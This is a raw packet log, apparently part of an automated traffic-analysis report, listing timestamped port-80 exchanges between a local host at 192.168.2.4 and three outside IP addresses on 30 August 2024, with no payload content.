Aug 30, 2024 03:17:07.775968075 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775979042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775984049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775986910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.776002884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.776024103 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.777761936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777770996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777779102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777807951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.777818918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.777841091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777849913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777864933 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777873993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777884007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.777885914 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.777909994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.777918100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.778213978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778223991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778233051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778258085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.778280020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.778321028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778331995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778340101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778348923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778357983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.778366089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.778397083 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780879974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780889034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780901909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780924082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780925035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780935049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780939102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780946016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780953884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780966997 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780975103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.780981064 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.780985117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781011105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781694889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781740904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781754017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781761885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781791925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781795025 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781802893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781822920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781831980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781832933 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781856060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781867981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.781930923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.781977892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782147884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782187939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782217979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782227993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782238007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782252073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782254934 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782264948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782268047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782278061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782286882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.782289028 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782316923 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.782327890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.785712957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785722971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785739899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785753965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785762072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.785763979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785780907 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.785783052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785794973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.785808086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.785829067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.786555052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786565065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786571980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786598921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.786609888 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.786637068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786647081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786665916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786675930 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786681890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.786685944 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.786701918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.786724091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.787863016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.787873030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.787880898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.787914991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.787914991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788000107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788023949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788033009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788042068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788053989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788057089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788067102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788077116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788077116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788085938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788086891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788096905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788105965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788106918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788115025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788129091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788139105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788144112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788152933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788182020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788182020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788189888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788193941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788203001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788232088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788232088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788290977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788300991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788330078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788450956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788460016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788469076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788505077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788505077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788573027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788583040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788592100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788603067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788614988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788638115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788806915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788815975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788830042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788846970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788851023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788856983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788866043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788866997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788876057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788885117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788889885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788894892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788902998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788913012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788916111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788923025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788933039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788933992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788950920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788954020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788968086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788978100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788978100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.788986921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.788996935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789000034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789011002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789019108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789020061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789027929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789032936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789037943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789047003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789055109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789072990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789074898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789083958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789091110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789093971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789102077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789110899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789110899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789120913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789122105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789132118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789141893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789148092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789151907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789159060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789177895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789187908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789197922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789206028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789213896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789223909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789228916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789232969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789247990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789252996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789258003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789268970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789283991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789292097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789298058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789323092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789343119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789355993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789365053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789374113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789383888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789395094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789418936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789453983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789463997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789473057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789482117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789491892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789498091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789501905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789505005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789526939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789544106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789608002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789647102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789710999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789719105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789727926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789747000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789750099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789761066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789767981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789767981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789777994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789786100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789788961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789797068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789798975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789807081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789810896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789817095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789829016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789844036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789849043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789854050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789863110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789872885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789882898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789885998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789892912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789897919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789904118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789912939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.789925098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789938927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.789951086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.789968014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.789983034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.789993048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790002108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790010929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790019035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.790019035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.790040016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790055990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790071011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790081024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790096045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790107965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790122032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790143967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790206909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790216923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790225983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790235043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790242910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790245056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790255070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790263891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790268898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790277958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790286064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790301085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790318012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790334940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790344000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.790353060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.790361881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.790376902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.790379047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.790388107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.790396929 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.790396929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.790405035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.790430069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.791058064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791071892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791081905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791099072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.791114092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.791142941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791153908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791162968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791182995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.791194916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.791223049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791233063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.791265965 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.795974970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796006918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796017885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796025991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796029091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.796039104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796047926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.796051979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796063900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.796076059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.796094894 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.796113968 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.798652887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798700094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.798752069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798763037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798773050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798784018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798794985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798794985 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.798805952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.798820972 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.798842907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800235033 CEST	80	49736	154.216.17.134	192.168.2.4
